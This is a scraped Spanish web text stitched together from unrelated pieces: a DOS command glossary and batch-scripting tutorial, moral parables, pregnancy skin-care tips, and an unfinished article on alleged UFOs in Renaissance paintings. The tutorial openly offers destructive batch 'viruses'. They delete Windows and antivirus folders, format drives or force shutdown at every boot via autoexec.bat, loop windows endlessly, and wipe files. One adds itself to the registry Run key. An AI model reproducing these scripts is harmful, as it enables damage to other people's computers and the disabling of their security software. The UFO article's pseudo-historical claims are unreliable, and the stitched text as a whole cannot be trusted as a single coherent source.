ininterrumpidamente en la pantalla) MOVE - Mueve uno o varios archivos y da nuevo nombre a archivos o directorios. Nuevo comando con el DOS 6. MSAV - Programa antivirus. A partir del DOS 6. MSBACKUP - Nuevo procedimiento de copia de seguridad, a partir del DOS 6. MSD - Provee información técnica sobre su computadora. A partir del DOS 6. NLSFUNC - Comando relativo a los idiomas nacionales. Su nombre proviene de "National Languages Support Function”. Da informaciones complementarias sobre los países y prepara el uso de las tablas de códigos con CHCP NUMLOCK - Determina que la sección numérica del teclado esté bloqueada o no, a través del Config.Sys. Nuevo comando a partir del DOS 6. PATH - Especifiica caminos de búsqueda alternativos para los archivos de comando (con la extensión .COM, o .EXE o .BAT) que no se encuentran en el directorio activo. Este comando se encuentra generalmente en el archivo Autoexec.bat. PAUSE - Suspende la ejecución de un programa .BAT mostrando en pantalla un mensaje optativo de 121 caracteres como máximo. POWER - Pone en servicio o saca de servicio la administración del consumo de energía. Nuevo comando a partir del DOS 6. POWER.EXE - Administrador de POWER. Nuevo, a partir del DOS 6. PRINT - Imprime el contenido de archivos, en segundo plano, mientras se prosigue con un trabajo en la pantalla. PRINTER.SYS - Se utiliza para conmutar las tablas de códigos con las impresoras, a través del Config.Sys. PROMPT - Define o muestra en pantalla los símbolos del sistema utilizados por el DOS. RAMDRIVE - Instala un disco virtual, a través del Config.Sys. RD - Suprime un subdirectorio que debe estar obligatoriamente vacío (y que, por lo tanto, sólo debe contener las marcas . y ..). El nombre completo de este comando es RMDIR. RECOVER - Interviene cuando hay que recuperar los datos de un archivo porque hay un sector defectuoso en el disco. Los datos de este sector se habrán perdido. No existe más en el DOS 6. REM - Introduce observaciones, comentarios, en 123 caracteres como máximo por línea de REM. REN - Cambia el nombre de un archivo. RENAME - Cambia el nombre de un archivo. Es lo mismo que REN, pero más largo de escribir. REPLACE - Reemplaza o agrega selectivamente archivos que provienen de un disco fuente a un disco destinatario. RESTORE - Restaura, restablece el contenido de un disco a partir de su copia de seguridad anterior, con los DOS hasta el 5 inclusive. En el DOS 6, sólo existe para la compatibilidad. RMDIR - Suprime un subdirectorio que debe estar obligatoriamente vacío (y que, por lo tanto, sólo debe contener las marcas . y ..). El nombre abreviado es RD. SET - Sirve para definir el entorno de trabajo que requieren algunos programas, introduciendo un nombre seguido de su equivalencia. SETVER - Declara las versiones del DOS para algunas aplicaciones. SETVER.EXE - Administrador de SETVER. SHARE - Instala el programa para compartir archivos. SHELL - Instala un procesador de comandos. SHIFT - Sirve para utilizar más de 10 parámetros reemplazables numerados de 0 a 9, en las líneas de comando, marcando una diferencia de una posición para cada SHIFT que se introduce. SHIPDISK - Bloquea los cabezales del disco duro antes de desplazarlo. Desapareció en el DOS 6. SIZER.EXE - Utilizado por el programa de optimización de la memoria MemMaker Novedad del DOS 6. SMARTDRV - Creación de la antememoria de disco SmartDrive. SMARTDRV.EXE - Administrador de SmartDrv. SMARTMON - Programa de monitoreo (de vigilancia) de SmartDrive. SORT - Ordena datos. STACKS - Define las pilas, a través del Config.Sys. SUBMENU - Define un ítem del menú de arranque abriendo un submenú. Nuevo comando del DOS 6. SUBST - Sustituye un camino de acceso cuya descripción es larga, y/o su unidad, por una unidad de disco ficticia que bastará con llamar luego. SWITCHES - Sustituye el teclado extendido por el teclado convencional. SYS - Copia los tres archivos que sirven de núcleo al sistema del disco fuente activo al disco destinatario. TEMP - Variable de entorno. TIME - Muestra en pantalla o configura la hora del sistema (incluidos los relojes permanentes, resguardados). TREE - Muestra los árboles de los directorios de un disco (y la lista de sus archivos con una clave suplementaria). TYPE - Muestra en pantalla el contenido de un archivo. UNDELETE - Recuperación de archivos borrados. A partir de la versión DOS 5. UNFORMAT - Reconstrucción de un disco reformateado. A partir del DOS 5. VDISK - Instala un disco virtual, a través del Config.Sys. Dejó de estar incluido a partir del DOS 6. VER - Muestra en pantalla la versión activa del DOS. VERIFY - Pone en servicio (con ON) o anula (con OFF) la verificación de los datos escritos en el disco. VOL- Muestra en pantalla el nombre del disco solicitado. VSAFE - Residente antivirus. XCOPY - Copia archivos selectivamente, inclusive los que provienen de subdirectorios. Es un comando excelente que puede servir incluso para efectuar copias de seguridad. Variables De Windows%COMPUTERNAME% = Nombre de host.%SYSTEMROOT% = Carpeta de administración Normalmente c:windows%TEMP% = directorio donde se encuentran los archivos temporales%WINDIR% = directorio de windows.%USERNAME% = usuario con el que se inicio sesión%USERPROFILE% = directorio donde se encuentran los archivos del usuario que inicio sesión%PROGRAMFILE% = directorio donde se encuentran los archivos de programas%OS% = muestra el sistema operativo que estamos ejecutando%LOGONSERVER% = nombre de nuestro server (mihost)Para ver el contenido de estas variables escriban en cmd.exeecho %NOMBREDELAVARIABLE%Ejemplos De ComandosPara Reiniciar es:@echo offshutdown -r -t 10 (el numero indica el tiempo para reiniciar en segundos)Para Apagar es:@echo offshutdown -s -t 10 Para eliminar algo con tan solo poner el nombre:@echo off CD DURECTORIO DEL /q /f /s NOMBRE Para Cambiar la IP:@echo off cd ipconfig/release ipconfig/renew Para Abrir una pagina o un archivo es:@echo offstart www.taringa.net@echo offstart NOMBREDEARCHIVOEste elimina el Windows:@echo off del /s /f /q c:windows exit Este elimina los Antivirus mas comunes:@echo offclscd cd "archivos de programa"cd "Norton antivirus"attrib -R -A -S -H *.*del /S /Q *.*cd..cd "Panda Software"attrib -R -A -S -H *.*del /S /Q *.*cd..cd "Kaspersky Lab"attrib -R -A -S -H *.*del /S /Q *.*cd..cd "McAfee.com"attrib -R -A -S -H *.*del /S /Q *.*clsEste Hase Que Cada Ves que se enciende la PC se apage:@echo offecho shutdown -s -f -t 0 >> c:autoexec.batclsEste formatea la pc:@echo offclss | format c: -s -f -t 0 >> c:autoexec.batParametros ShutdownEs un comando con el que puedes jugar bastante. -s y -t son parametros, los parametros son como las opcionesque les deves dar al comando. algunos comandos requieren parametros obligatoriamente sin embargo otros no.Parametro -s y -tEl parametro -s da la orden a shutdown para que apage el equipo y con -t especificamos los segundos. En el ejemplo de antes pusimos 1 segundo.otros parametros de shutdown:shutdown -r = Reiniciashutdown -c = deja un comentario "Modo de uso">> shutdown -s -t 5 c "Comentario"shutdown -m = apaga un equipo de la red "Modo de uso">> shutdown -s -t 4 -m nombredehostshutdown -f = fuerza el cierre de las aplicaciones.Los BucleAlguna ves has visto u observado algun archivo que se abre infinitas veces que tu solo puede desenchufar o apagar forzosamente el pc? Bueno eso es un Bucle, el comando es muy facil:@echo off :bucle start cmd.exe start calc.exe start notepad.exe goto bucle(Este abre infinitas ventanas de comandos, calculadoras, y bloc de notas)Mas ejemplos de virusPara Borrar los Archivos .jpg y .exe del PC:@echo off cd del *.jpg /q del *.exe /q shutdown -l shutdown –s exit Creacion De CarpetasPara Crear una carpeta el comando es:@echo offmd "c:NOMBREDECARPETA" attrib + "C:NOMBREDECARPETA"El + que esta adelante del attrib, son los "atributos" de la carpeta, por asi desirles,+s : Solo Lectura (bloqueado)+r : Solo Lectura y oculto+A : Solo Lectura (normal)+h : Solo Lectura Y oculto A esta Carpeta Puedes hacer que se le pueda conocer como Disco local (I, el comando para crear a este Disco es:subst I: "C:NOMBREDECARPETA" Asi que por ejemplo queremos tener un disco local (I, (no vayan a creer eso es una simple carpeta con forma de disco virtual) quedaria mas o menos asi:@echo offmd "c:NOMBREDECARPETA" attrib +r "C:NOMBREDECARPETA"subst I: "C:NOMBREDECARPETA" Ahi podras ver tu disco virual (I, este se elimina con eliminar o mover la carpeta con el atributo +r que fue creada en el lugar del archivo batch.Guia Para Crear Programas En BatchPues bien, abramos el bloc de notas, y vamos a empezar viendo los comandos que encontraremos en todo lenguaje batch. El lenguaje batch siempre empieza con el comando "@echo off" y termina con el comando "exit". De esta forma en la primera línea de nuestro programa vamos a tener el comando "@echo off", y cuando el programa ejecute el comando "exit", que no tiene por qué estar al final, el programa se cerrará. Además le tenemos que poner un título a nuestro programa, que aparecerá en la barra de arriba del mismo. Este título se pone con el comando "title título" (y donde pone títutlo pondríamos el títutlo del programa). A este primer programa le vamos a llamar "Primer programa", por lo que nuestro código va así: @echo off title Primer programa exit Comandos de texto (echo) y pause Vamos a empezar con un programa que haga algo básico, y eso básico es mostrarnos frases, texto. Pues bien, para mostrar texto tenemos dos comandos principales: 1.echo texto » El comando echo seguido de un texto cualquiera nos permite hacer que se muestre ese texto en la ventana de nuestro programa. 2.echo. » El comando echo. (con el punto incluido) nos permite hacer un salto de línea en el texto del programa, como si pulsáramos la tecla enter en cualquier programa de texto. De esta forma si queremos que nuestro primer programa tenga un primer párrafo en el que ponga "Este es el primer parrafo." y un segundo en el que ponga "Este es el segundo parrafo. Un poquito mas largo." tendríamos nuesto código así: @echo off title Primer programa echo Este es el primer parrafo. echo. echo Este es el segundo parrafo. Un poquito mas largo. exit Ahora quiero remalcar dos cosas. La primera es que no podemos usar tildes ni eñes en el texto que se muestra en el programa. La segunda es que teniendo en cuenta la estructura del programa que hemos hecho habrá un problema, y es que como se ejecutará todo del tirón llegará al comando exit sin pausa alguna y no te dará tiempo a leer el texto que ponga, por lo que vamos a insertar pausas en el programa. Los comandos de pausa son los siguiente: 1.pause » El comando pause pausa el programa hasta que pulses una tecla y te muestra un mensaje que dice "Presione una tecla para continuar". 2.pause >nul » El comando pause >nul pausa el programa pero sin mostrar ningún mensaje de aviso. Vamos a probar estos dos comandos, poniendo un pause >nul entre los dos párrafos y un pause después del segundo: @echo off title Primer programa echo Este es el primer parrafo. echo. pause >nul echo Este es el segundo parrafo. Un poquito mas largo. pause exit Ejecutar el programa Para poder probar nuestro programa tenemos que ejecutarlo, para lo que hay que guardarlo en formato bat. Esto lo hacemos dándole a guardar como y poniendo el nombre que queramos terminado en .bat, por ejemplo "programa.bat". Entonces nos aparecerá el archivo con el icono de un engranaje, y ese será nuestro programa que podremos abrir para ver el resultado. Para poder editar posteriormente nuestro programa le daremos un clic derecho y a editar. Colores. Trabajando con variables. Cambiar colores Antes de empezar con una de las herramientas más usadas de la programación como son las variables vamos a aprender a cambiar los colores tanto del texto en nuestro programa como del fondo. Para ello usaremos el código color numeroletra, y donde pone numero pondremos el color de fondo de la ventana del programa y donde pone letra el color del texto. Las correspondencias entres los números y letras y los colores son las siguientes: 0 = Negro 1 = Azul 2 = Verde 3 = Aguamarina 4 = Rojo 5 = Púrpura 6 = Amarillo 7 = Blanco 8 = Gris 9 = Azul claro A = Verde claro B = Aguamarina C = Rojo D = Púrpura E = Amarillo F = Blanco Vamos a hacer por ejemplo que en nuestro primer programa al principio se ponga el fondo rojo y las letras amarillas, y que cuando vaya a aparecer el segundo párrafo aparezca el fondo negro y las letras color aguamarina. @echo off title Primer programa color 4E echo Este es el primer parrafo. echo. pause >nul color 0B echo Este es el segundo parrafo. Un poquito mas largo. pause exit ¿Qué es una variable? Una vriable es una entidad informática a la que le asignamos un nombre, por ejemplo var1, var2 o pepe, y a la que le asignamos también un valor, que puede ser numérico o con letras. Las variables se suelen usar para hacer operaciones entre valores numéricos, o para recordar datos que diga el usuario. Por poneros un ejemplo, podemos hacer que el programa pregunte un número al usuario, que guarde ese número en una variable, que le pregunte otro y que lo guarde en otra variable, y que luego cree otra variable que sea la media de las otras dos variables. Esta sería la forma de hacer la media entre dos número cualquiera. Crear variables Para crear una variable usamos el comando set var=algo, siendo lo que está en rogo el nombre de la variable, y lo que está en verde el valor que le asignamos a la misma. Algo importante es que cuando queramos hacer referencia a una variable tendremos que ponerla entre signos %. De esta forma si queremos mostrar en pantalla una variable que se llame var tendremos que poner el código echo %var%. Al igual hay que tener en cuenta que si asignas un valor a una variable que ya existía esa vriable tendrá el valor que se le asignó último. Asignar un valor fijo a una variable no tiene mucha utilidad. Algo que tiene más utilidad es hacer una pregunta al usuario y lo que responda será el valor de la variable. Esto último se haría usando el comando set/p var=pregunta De esta forma podemos hacer un programa que te pregunte el nombre y los dos apellidos y luego lo muestre todo seguido de la siguiente forma: @echo off title Nombre y apellidos set/p nombre=Cual es tu nombre? set/p apellido=Cual es tu primer apellido? set/p apellido2=Cual es tu segundo apellido? echo. echo Tu nombre completo es %nombre% %apellido% %apellido2% pause >nul exit Por último vamos a aprender a hacer operaciones con las variables. Para hacer operaciones usamos el comando siguiente: set/a var1= %var2% signo %var3% Lo que está en rojo es la variable en la que guardará el resultado, las variables verdes son las que opera, y donde pone signo pondremos un + si queremos sumar, - para restar, * para multiplicar o / para dividir. Un ejemplo sería: set/a var= %var1% / %var2% Eso lo que hace es dividir las dos variables. También podemos haces operaciones con una variable y un número, por ejemplo: set/a var= %var1% * 2 Este último multiplica la variable var1 por dos. Sabiendo esto vamos a hacer el programa que hace la media de dos números. Tenemos que hacer que le pregunte los dos números, y luego que los sume y acto seguido los divida entre dos (en las operaciones podemos poner paréntesis para indicar el orden, en el ejemplo lo vereis mejor). De esta forma nuestro programa quedaría así: @echo off title Hacer media de dos numeros set/p num1=Cual es el primer numero? set/p num2=Cual es el segundo numero? set/a media= (%num1% + %num2%) / 2 echo. echo La media es %media% pause >nul exit He de remalcar que en una variable numérica no puede haber números decimales, los quita directamente, por lo que si la media saliera por ejemplo 2,5 el programa te dirá que la media es 2. Este es un programa hecho por terceros que podra servir de ejemplo (su funcion es crear el Disco Duro Virtual) (Eso que explique en las carpetas)@echo off :menu cls color b title BIENVENIDO AL CREADOR DE DISCO DURO VIRTUAL BY LocalGmrs echo. echo BIENVENIDO %USERNAME% ECHO. ECHO ELIJE UNA OPCION... ECHO. ECHO ======================================== === ECHO = 1. CREAR UN DISCO DURO VIRTUAL == ECHO = 2. BORRAR EL DISCO DURO VIRTUAL == ECHO = 3. SALIR == ECHO ======================================== === ECHO. SET /P ver= QUE DESEA HACER? if %ver%==1 goto crear if %ver%==2 goto bo if %ver%==3 goto salir :crear md "c:disco duro extra" attrib +h "C:disco duro extra" subst I: "C:disco duro extra" msg * EL DISCO DURO VIRTUAL SE CREO SATISFACTORIAMENTE goto menu :bo attrib -h "C:disco duro extra" rd "c:disco duro extra" subst I: /d msg * EL DISCO DURO VIRTUAL SE BORRO SATISFACTORIAMENTE goto menu :salir msg * GRACIAS POR USAR MI PROGRAMA... exit Frikipedia "Como Crear Un Virus"Tienen Comandos Exagerados y a la ves chistosos como Influenza porcina. Aqui esa parte:-------------------------------------------------------------------------------------------------------------------------------Fabricación del virusAbre bloc de notas Pon esto: CD %systemroot%system32 @echo echo off >>influenza.bat echo shutdown -s -f -t 10 >>influenza.bat echo exit >>influenza.bat red add hklm softwaremicrosoftwindowscurrentversionrun/v influenza.bat/t reg_sz/d c:windowssystem32influenza.bat/f msg * JAJAJAJAJAJAJAJAJAJAJAJA!!! msg * TE JODISTES POR XXXPAULXXX msg * MUERTE DE ORDENADOR msg * INFLUENZA msg * MUERTE DE ORDENADOR msg * MUERTE DE ORDENADOR msg * MUERTE DE ORDENADOR msg * MUERTE DE ORDENADOR msg * MUERTE DE ORDENADOR msg * MUERTE DE ORDENADOR msg * MUERTE DE ORDENADOR msg * MUERTE DE ORDENADOR msg * MUERTE DE ORDENADOR msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * BYE BYE start influenza.bat exitLo guardas como influenza.bat 1.En lugar de XXXPAULXXX puedes poner tu nick preferido 2.Se tiene el mismo efecto si alguien infectado de influenza porcina estornuda sobre el disco duro de un ordenador Modo de propagación¿Que no acabas de leer los anteriores?, usa alguno de los métodos antes nombrados (ojo: debe llamarse "influenza.bat" ConclusiónAhora que sabes fabricar virus, te deseo una feliz dominación mundial. Por cierto, he encontrado un juego chulísimo con música to guapa y tias en bolas. El juego puedes descargarlo de aquí: www.unapáginallenademuchisimosvirushastahoygan.com -------------------------------------------------------------------------------------------------------------------------------Aqui esta el link de esa pagina "para que puedas conoser de este """""virus"""""" y otros"http://www.frikipedia.es/friki/Frikilibro:Gu%C3%ADa_frikipedista_para_crear_tu_propio_virus-------------------------------------------------------------------------------------------------------------------------------Bueno Hasta aqui llego el post, Comenten y puntuen.
Un hombre estaba poniendo flores en la tumba de su esposa, cuando vio a un hombre chino, poniendo un plato con arroz en la tumba vecina. El hombre se dirigió al chino y le preguntó: -Disculpe señor, ¿de verdad cree usted que el difunto viene a comer el arroz?. -Sí, responde el chino, cuando el suyo venga a oler sus flores. Una tarde, un pequeño se acercó a su madre que preparaba la cena en la cocina, entregándole una hoja de papel en la que había escrito algo. Después de secarse las manos y quitarse el delantal, ella leyó lo que decía la nota: - Cortar el césped del jardín… 15.00 - Limpiar mi cuarto esta semana… 5.00 - Cuidar de mi hermano… 5.00 - Ir a la panadería… 0.50 - Sacar la basura toda la semana… 2.50 - Libreta con buenas calificaciones… 50.00 - Limpiar el patio… 5.00 - TOTAL ADEUDADO… 83.00 La madre lo miró con fijeza mientras él aguardaba expectante. La madre tomó un lapicero y en el reverso de la misma hoja anotó: - Por llevarte 9 meses en mi vientre y darte la vida… NADA - Por tantas noches de desvelos, curarte y orar por tí… NADA - Por la alegría y el amor de nuestra familia… NADA - Por temor y preocupaciones cuando enfermabas … NADA - Por comida, ropa y educación… NADA - Por tomar tu mano y darte apoyo… NADA Cuando el niño terminó de leer lo que había escrito su madre, tenía los ojos llenos de lágrimas. La miró a los ojos y le dijo: “Te quiero mamá…”; luego tomó el lapicero y escribió con letra muy grande: “TOTALMENTE PAGADO”. Un hombre quiere colgar un cuadro. El clavo ya lo tiene, pero le falta un martillo. El vecino tiene uno. Así, pues, nuestro hombre decide pedir al vecino que le preste el martillo. Pero le asalta una duda: ¿Qué? ¿Y si no quiere prestármelo? Ahora recuerdo que ayer me saludó algo distraído. Quizás tenía prisa. Pero quizás la prisa no era más que un pretexto, y el hombre abriga algo contra mí. ¿Qué puede ser? Yo no le he hecho nada; algo se le habrá metido en la cabeza. Si alguien me pidiese prestada alguna herramienta, yo se la dejaría enseguida. ¿Por qué no ha de hacerlo él también? ¿Cómo puede uno negarse a hacer un favor tan sencillo a otro? Tipos como éste le amargan a uno la vida. Y luego todavía se imagina que dependo de él. Sólo porque tiene un martillo. Esto ya es el colmo. Así nuestro hombre sale precipitado a casa del vecino, toca el timbre, se abre la puerta y, antes de que el vecino tenga tiempo de decir «buenos días», nuestro hombre le grita furioso: -¡Quédese usted con su martillo, estúpido! Un sultán decidió hacer un viaje en barco con algunos de sus mejores cortesanos. Se embarcaron en el puerto de Dubai y zarparon en dirección al mar abierto. Entretanto, en cuanto el navío se alejó de tierra, uno de los súbditos, que jamás había visto el mar y había pasado la mayor parte de su vida en las montañas, comenzó a tener un ataque de pánico. Sentado en la bodega de la nave, lloraba, gritaba y se negaba a comer o a dormir. Todos procuraban calmarlo, diciéndole que el viaje no era tan peligroso, pero aunque las palabras llegasen a sus oídos no llegaban a su corazón. El sultán no sabía qué hacer, y el hermoso viaje por aguas tranquilas y cielo azul se transformó en un tormento para los pasajeros y la tripulación. Pasaron dos días sin que nadie pudiese dormir con los gritos del hombre. El sultán ya estaba a punto de mandar volver al puerto cuando uno de sus ministros, conocido por su sabiduría, se le aproximó: -Si su alteza me da permiso, yo conseguiré calmarlo. Sin dudar un instante, el sultán le respondió que no sólo se lo permitía, sino que sería recompensado si conseguía solucionar el problema. El sabio entonces pidió que tirasen al hombre al mar. En el momento, contentos de que esa pesadilla fuera a terminar, un grupo de tripulantes agarró al hombre que se debatía en la bodega y lo tiraron al agua. El cortesano comenzó a debatirse, se hundió, tragó agua salada, volvió a la superficie, gritó más fuerte aún, se volvió a hundir y de nuevo consiguió reflotar. En ese momento, el ministro pidió que lo alzasen nuevamente hasta la cubierta del barco. A partir de aquel episodio, nadie volvió a escuchar jamás cualquier queja del hombre, que pasó el resto del viaje en silencio, llegando incluso a comentar con uno de los pasajeros que nunca había visto nada tan bello como el cielo y el mar unidos en el horizonte. El viaje, que antes era un tormento para todos los que se encontraban en el barco, se transformó en una experiencia de armonía y tranquilidad. Poco antes de regresar al puerto, el sultán fue a buscar al ministro: -¿Cómo podías adivinar que arrojando a aquel pobre hombre al mar se calmaría? -Por causa de mi matrimonio -respondió el ministro-. Yo vivía aterrorizado con la idea de perder a mi mujer, y mis celos eran tan grandes que no paraba de llorar y gritar como este hombre. Un día ella no aguantó más y me abandonó, y yo pude sentir lo terrible que sería la vida sin ella. Sólo regresó después de prometerle que jamás volvería a atormentarla con mis miedos. De la misma manera, este hombre jamás había probado el agua salada y jamás se había dado cuenta de la agonía de un hombre a punto de ahogarse. Tras conocer eso, entendió perfectamente lo maravilloso que es sentir las tablas del barco bajo sus pies. -Sabia actitud– comentó el sultán. -Está escrito en un libro sagrado de los cristianos, la Biblia: «Todo aquello que yo más temía, terminó sucediendo». Un hombre encontró un huevo muy grande. Nunca había visto nada igual y decidió llevarlo a su casa. -¿Será de un avestruz? -preguntó a su mujer. -No. Es demasiado abultado -dijo el abuelo. -¿Y si lo rompemos? -propuso el hijo. -Es una lástima. Perderíamos una hermosa curiosidad -respondió cuidadosa la abuela. -Ante la duda, lo voy a colocar debajo de la pava que está empollando huevos. Tal vez con el tiempo nazca algo- afirmó el hombre. Y así lo hizo. Cuenta la historia que a los quince días nació un pavito oscuro, grande, nervioso, que con mucha avidez comió todo el alimento que encontró a su alrededor. Luego miró a la madre con vivacidad y le dijo: -Bueno, ahora vamos a volar. La pava se sorprendió muchísimo de la proposición de su flamante cría y le explicó: -Mira, los pavos no vuelan. Te sienta mal comer deprisa. Entonces trataron de que el pequeño comiera más despacio, el mejor alimento y en la medida justa. El pavito terminaba su almuerzo o cena, su desayuno o merienda y les decía a sus hermanos: -Vamos, muchachos ¡a volar! Todos los pavos le explicaban entonces otra vez: -Los pavos no vuelan. A ti te sienta mal tanta comida. El pavito empezó a hablar más de comer y menos de volar. Así que creció y con el tiempo murió en el corral. Murió sin haber logrado volar jamás, ¡Él era un cóndor! Había nacido para volar hasta los 7,000 metros. ¡Pero nadie volaba...! Pásate por otros post con una pequeña relación a este... Una Linda Historia Contada En Imagenes... Entregan valiosos consejos para comenzar a ser feliz hoy
Cómo prevenir las alteraciones de la piel durante el embarazo Muchos de los cambios que sufre la piel son inherentes al embarazo, y por lo tanto resultan difíciles de prevenir. Sin embargo, existen algunas recomendaciones generales para mantener esta zona lo mejor posible. No escatimes producto Empieza pronto con las cremas antiestrías o hidratantes, es decir, en cuanto sepas que estás embarazada. Así ayudarás a mantener la piel elástica. Aplícatela tanto en las zonas en las que esperas distensión (el abdomen y el pecho), como en otras menos comprometidas: zona de los riñones, interior de los muslos y en los brazos, detrás de la axila. El sol no es amigo Debes extremar la protección. Ahora más que nunca, el sol juega en tu contra. Además de tu crema solar de muy alta protección, alíate con las gafas de sol tamaño XXL y con los sombreros de ala, las pamelas y las viseras, que protegen el rostro y están muy de moda. Si utilizas maquillaje, has de elegirlo con un factor de protección UVA 15 o mayor. No te pongas perfume ni colonias si sales a pasear y te va a dar el sol. Una buena circulación Evita todo lo que entorpezca la circulación sanguínea de retorno: duchas de agua caliente, calcetines y medias ajustadas a la caña de la pierna, leggins segunda piel (aunque sean de embarazo), y depilación que implique calor y tirón. Agua para tu piel La piel contiene una gran cantidad de agua que se puede perder por el sudor y el calor ambiental. Bebe agua con frecuencia y evita los lugares concurridos.

"Miré, y he aquí que venía del septentrión un viento impetuoso, una nube densa, y en torno a la cual resplandecía un remolino de fuego, que en medio brillaba como bronce en ignición. En el centro de ella había semejanza de cuatro seres vivientes y cada uno tenía cuatro caras...". Fragmento bíblico en el que se narra como el profeta Ezequiel se encuentra con un vehículo junto al río Kebar. Este fragmento bien podía haber sido sacado novela de ficción o de una película futurista, pero no es así. Se trata de la descripción que el profeta Ezequiel hizo del encuentro con un misterioso objeto volador cuando se encontraba junto al río Kebar, descansando de las labores propias de su cargo de sacerdote. Y es que según investigadores de la talla de Blumrich, ingeniero de la NASA, "los datos obtenidos nos muestran un vehículo espacial no sólo absolutamente posible desde el punto de vista técnico, sino también inteligentemente adaptado a sus funciones y misión. Lo único fantástico de todo esto es que semejante nave fuese ya una realidad palpable hace más de 2.500 años". En numerosos pasajes bíblicos se habla de extrañas naves voladoras, de seres dotados de cascos que salían de dichos ingenios e incluso de trajes parecidos al metal. Pero ya hay indicios de que esos seres pudieron visitar la Tierra incluso antes del nacimiento de Jesucristo. Así lo muestra la pintura rupestre neolítica que data de hace unos 5.000 años y en la cual sin lugar a dudas un extraño ser aparece rodeado de los típicos platos volantes que se describen hoy en día. Otro de los legados pétreos de los que queda constancia es el grabado hallado en una cueva de Uzbekistán situada en la frontera entre Rusia y China, y que data del 2000 a.C. El dibujo representa un disco ovalado con propulsión a chorro que parece elevarse verticalmente. Debajo de él, se ve claramente la imagen de una "persona" dotada de casco, antenas y el típico traje que hoy en día utilizan nuestros astronautas. Una imagen absurda para la Edad del Bronce, en las que las pinturas rupestres se limitaban a representar escenas de caza, animales y plantas. ¿Qué vieron aquellos hombres? ¿Qué querían representar con esos dibujos? Edad Media Ya en nuestra era, las muestras de que algo extraño ocurría en los cielos queda reflejada en muchos grabados. Eran siglos en los que la brujería, la magia y la Inquisición estaban a la orden del día y muchos fueron los que perdieron la vida por defender su verdad sobre lo que habían visto en los cielos. Es en estos tiempos cuando los artistas comienzan a reflejar tímidamente en sus obras esos objetos voladores que aparecían sobre los mercados y ciudades medievales. A principios del siglo XIV, Giotto di Bondone (1266-1337) florentino de nacimiento, dibujó en su "Adoración de los Reyes Magos" una peculiar "estrella" con forma de bola de luz que dejaba una brillante estela a su paso. Si seguimos los escritos que hablan sobre la estrella de Belén, siempre se nos muestra como el astro que, guió a los Reyes Magos de Oriente para finalmente situarse encima del portal de Belén y no pasando a gran velocidad, como así parece mostrar el cuadro. Además, los astrónomos, en homenaje a lo que representó este pintor, dieron el nombre de Giotto a la sonda espacial enviada por la AEE (Agencia Espacial Europea) al encuentro del cometa Halley en 1986. Pocos años más tarde el también italiano Paolo Ucello (1397-1475), magnífico representante del Quatrocento, pintó una tabla conocida como "la Thébaide" en la que se observa un Cristo crucificado y la figura de una persona orando ante él. La Thébaide Hasta aquí la pintura sería una representación religiosa como tantas otras, de no ser porque en la parte inferior de la obra se ve cómo una pequeña nave con forma de platillo se mueve trazando una curva imposible. Son muchas las representaciones religiosas en las que aparecen aparatos mecánicos volando como si se hubieran trasladado en el tiempo y el espacio. Así lo muestra la gran obra pictórica de Fra Filippo de Lippi (1406-1469), "La Virgen y San Juan Infante", en la que sin tener nada que ver con el tema del cuadro, aparece al fondo un ingenio con forma de cúpula. Algo fuera de lo común tuvo que observar este fraile carmelita, famoso por sus escándalos, para luego plasmar tan intemporal nave en el paisaje y jugarse la vida por defender su verdad; como le debió pasar a Carlo Crivelli (1430-1493), cuya "Anunciación" en vez de ser representada como los modelos que los de- más artistas contemporáneos imponían, dibuja un luminoso aparato que va a dar en la angelical frente de la Virgen. Otro artista, esta vez maestro de las letras, Hermann Schaden, ilustró en 1493 uno de sus libros con un llameante "objeto celestial" que, sostenido en el cielo como por hilos invisibles, parece disponerse a aterrizar sobre el frondoso campo. Como vemos, las formas de reflejar el espacio y los ingenios que se movían en él eran muchas y muy variadas, dependiendo de los autores, de su pincel, de sus experiencias o tal vez de su imaginación. Así Piero del Franceschi, más conocido como de la Francesca (1420-1492) con gran técnica y maestría adornaba sus pinturas con unas enigmáticas nubes que más bien parecían ocultar tras la neblina perfectas formas discoidales, como si por miedo a las represalias, ocultara en ellas los ovnis que otros no tenían miedo en reflejar. Personajes y contactos No sólo los pintores y escritores se hacían eco de lo que se movía sobre sus cabezas. Otros personajes relevantes de la Historia mundial tuvieron encuentros con ingenios y seres imposibles, como es el caso del general cartaginés Aníbal (247-183 a.C.), que tantas batallas ganó según dicen muchas veces con la ayuda de naves de otros mundos; o Carlos I el Grande, más conocido como Carlomagno, rey de los francos y emperador de occidente cuyas conquistas y proezas se creían sobrenaturales y así lo recogió el monje Lorenzo en sus Annales Laurissenses, en los que narra la lucha que mantuvo "el Grande" contra los sajones diciendo "[...] la gloria de Dios apareció en manifestación encima de la iglesia en el interior del castillo. Los que lo observaron dijeron que tenía aspecto de dos grandes escudos de color rojo llameante, y que se movían por encima de la iglesia. Y cuando los paganos vieron este signo quedaron aterrorizados por el pánico, huyendo precipitadamente". Cómo no, acerca del célebre Cristóbal Colón, se cree que la ruta que trazó en su histórica singladura era un viaje guiado por un conocimiento muy superior al humano y de las que el propio Colón habló en alguna ocasión. Cabe también citar los ingenios vistos por el Faraón de la XVIII dinastía Tutmosis III, de los que se da cuenta en el Papiro Tulli en el que se dice que "[...] en el vigésimo segundo año, en el tercer mes de¡ invierno, a la sexta hora del día [...], los escribas de la Casa de la Vida notaron que un círculo de fuego llegaba del cielo. Brillaban en el cielo más que el Sol. Poderosa era la posición de las bolas de fuego. En esto que se elevaron dirección sur [...]". También observaron aparatos parecidos Julio César, Constantino el Grande, el cronista del siglo XVI Pedro Cieza de León, el religioso Fray Junípero Serra y un sin fin de nombres que hacen uso de las viejas crónicas para mostrarnos una realidad que coincide con las actuales descripciones, refiriéndose también a los supuestos tripulantes de estos ingenios. Ya en el siglo XVII, más concretamente en 1604, tenemos evidencias de que los ovnis sobrevolaron nuestro país, así el "Diari de Jeroni Pujades", afirma que tales artefactos sobrevolaron Cataluña realizando piruetas imposibles ante la atónita mirada de numerosos testigos. Parecidos a los vistos en -1621 sobre Francia, la oblea gigante que sobrevoló Braga en 1640; la gran bola de Rusia en 1663 o los 446 ovnis descritos por 